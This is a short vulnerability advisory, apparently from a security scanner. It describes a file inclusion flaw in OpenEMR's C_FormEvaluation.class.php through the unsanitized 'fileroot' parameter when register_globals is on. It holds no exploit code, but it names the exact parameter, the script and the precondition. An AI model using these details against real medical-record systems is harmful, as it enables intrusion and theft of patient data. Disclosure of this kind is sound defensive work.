Description

The remote host is running OpenEMR, a web-based medical records application written in PHP.

The version of OpenEMR installed on the remote host fails to sanitize input to the 'fileroot' parameter before using it in the 'contrib/forms/evaluation/C_FormEvaluation.class.php' script to include PHP code. Provided PHP's 'register_globals' setting is enabled, an unauthenticated attacker may be able to exploit this flaw to view arbitrary files on the remote host or to execute arbitrary PHP code, possibly taken from third-party hosts.
